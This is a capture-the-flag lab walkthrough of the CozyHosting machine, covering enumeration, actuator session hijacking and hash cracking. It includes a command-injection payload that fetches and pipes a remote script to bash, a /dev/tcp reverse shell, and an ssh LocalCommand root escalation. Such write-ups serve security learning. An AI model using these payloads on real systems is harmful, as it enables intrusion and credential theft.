Enumeration
To begin with, we launch a scan to see what ports we have open to see what services the machine has exposed.
sudo nmap -p- -n -Pn --disable-arp-ping -sS -sV -sC -vvv -T5 10.10.11.230 -oN cozyHosting
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
The scan shows ports 22 (SSH) and 80 (Nginx) open, with port 80 redirecting to the domain cozyhosting.htb, so let’s add this vHost to our /etc/hosts file
echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
-w
Wordlist file path-u
Target URL-ic
Ignore wordlist comments-t
Number of concurrent threads-c
Apply color to responses--mc all
Match all code responses-fc 404
Filter responses with the 404 code
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -c -t 100 --mc all -fc 404
index [Status: 200, Size: 12706, Words: 4263, Lines: 285]
login [Status: 200, Size: 4431, Words: 1718, Lines: 97]
admin [Status: 401, Size: 97, Words: 1, Lines: 1]
logout [Status: 204, Size: 0, Words: 1, Lines: 1]
error [Status: 500, Size: 73, Words: 1, Lines: 1]
On the login page I can’t get access by using the default credentials.
However, when navigating to /error
you get an error page with a header that says Whitelabel Error Page
.
This reveals that this application is using SpringBoot
.
Now we can run our analysis again, now using a Spring Boot specific word list.
ffuf -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -c -t 100 --mc all -fc 404
actuator [Status: 200, Size: 634, Words: 1, Lines: 1]
actuator/env/lang [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/health [Status: 200, Size: 15, Words: 1, Lines: 1]
actuator/mappings [Status: 200, Size: 9938, Words: 108, Lines: 1]
actuator/sessions [Status: 200, Size: 48, Words: 1, Lines: 1]
actuator/env/home [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/env/path [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/beans [Status: 200, Size: 127224, Words: 542, Lines: 1]
actuator/env [Status: 200, Size: 4957, Words: 120, Lines: 1]
We see that the actuator endpoint is exposed, which is mainly used for debugging purposes in Spring Boot applications. The Spring Boot actuator module provides a collection of built-in endpoints that expose different types of information and operations in an application.
Foothold
Upon exploring the actuator endpoint, we find the /actuator/mappings
endpoint. This shows a detailed view of the entire application configuration. Browsing the endpoint, we see a JSON
response containing information about the existing request mappings, including the methods of the requests GET, POST, …
By visiting the actuator/sessions endpoint, we can list all active sessions and their session identifiers.
We see the kanderson session identifier, which we can grab and set as a cookie in our browser, using the Storage tab of the developer console
once the cookie has been set, we proceed to navigate to /admin
where we can see that we are logged in as kanderson
At the bottom of the page, we see a form for automatic patching. We try to submit the form with the user name test
and the host name 127.0.0.1
, we get an error indicating that the host was not added with a description: Host key verification failed.
Exploitation
For testing purposes, let’s try to perform a command injection by performing a curl to my local machine for this we raise a local web server with the following python command
python3 -m http.server 7000
and typing in the form the following values:
hostname: 127.0.0.1
username: test:curl${IFS}http://10.10.14.63:7000
next, we create a revershell and follow the same procedure.
#!/usr/bin/env bash
sh -i >& /dev/tcp/10.10.14.63/5000 0>&1
nc -lnvp 5000
test;curl${IFS}http://10.10.14.63:7000/rev.sh|bash;
Post Exploitation
once inside, we improve our shell with the hacktricks guide
Once inside, we see a .jar (Java Archive) file called cloudhosting-0.0.1.jar and we extract it to the /tmp/app directory using the -d flag in unzip, which specifies the destination folder.
unzip -d /tmp/app cloudhosting-0.0.1.jar
As we know that it is an application made with spring boot, we can look for the application.properties
file inside the /tmp/app
folder.
find . -name "application.properties"
./BOOT-INF/classes/application.properties
after making cat to the mentioned file, we obtain the following information among which are the access keys to a postgres bbdd (I have formatted the information).
server:
address: 127.0.0.1
servlet:
session:
timeout: 5m
management:
endpoints:
web:
exposure:
include: health,beans,env,sessions,mappings
sessions:
enabled: true
spring:
datasource:
driver-class-name: org.postgresql.Driver
platform: postgres
url: jdbc:postgresql://localhost:5432/cozyhosting
username: postgres
password: Vg&nvzAQ7XxR
jpa:
database-platform: org.hibernate.dialect.PostgreSQLDialect
hibernate:
ddl-auto: none
database: POSTGRESQL
The file reveals the credentials postgres:Vg&nvzAQ7XxR
, with which we can connect to the local instance of
PostgreSQL instance.
psql -h 127.0.0.1 -U postgres
Listing all available databases, we note the presence of the cozyhosting database.
\list
Name | Owner | Encoding | Collate | Ctype | Access privileges |
---|---|---|---|---|---|
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres postgres=CTc/postgres |
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres postgres=CTc/postgres |
We connect to the database using the \connect
directive.
\connect cozyhosting
Once we have successfully connected to the database, we can use the \dt
command to list all the available tables in the database.
Schema | Name | Type | Owner |
---|---|---|---|
public | hosts | table | postgres |
public | users | table | postgres |
next we can make a query to list the information in the users table
select * from users;
kanderson:
password: $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
role: User
admin:
password: $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
role: Admin
On the other hand, if we wanted to have seen the roles that the tables have we could have executed:
SELECT table_name, grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_schema = 'public';
table_name | grantee | privilege_type
------------+----------+----------------
users | postgres | INSERT
users | postgres | SELECT
users | postgres | UPDATE
users | postgres | DELETE
users | postgres | TRUNCATE
users | postgres | REFERENCES
users | postgres | TRIGGER
hosts | postgres | INSERT
hosts | postgres | SELECT
hosts | postgres | UPDATE
hosts | postgres | DELETE
hosts | postgres | TRUNCATE
hosts | postgres | REFERENCES
hosts | postgres | TRIGGER
As a result, we have found two password hashes: one for user kanderson and one for user Admin . We use hashid
to identify the type of hash:
hashid $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
Considering that these hashes come from a web application, in this case made with Spring Boot, one of the most likely candidates is bcrypt. We save the admin hash in a file and try to crack it using Hashcat, with mode 3200 for bcrypt.
hashcat hash -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
returning to the victim machine, we exit with \q
or \quit
and see which users are on the system.
app@cozyhosting:/tmp/app$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<...SNIP...>
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
we try to connect via ssh to the machine with the following credentials josh:manchesterunited
ssh josh@10.10.11.230
and finally we get the user’s flag
josh@cozyhosting:~$ cat user.txt
fd79dfb77157895eb84280b58a42af44
Privilege escalation
Upon checking the sudo permissions for the user josh, we discover that they can run /usr/bin/ssh
as root
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Reading through the ssh documentation and this link, we can see that using the -o
option we can execute a local command, so that when we execute the command /bin/bash
, after connecting to the machine we get a shell as root
.
sudo /usr/bin/ssh -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1
and finally we get the last flag
root@cozyhosting:~# cat root.txt
6b665d141bccb338bc9c15bc65a2b300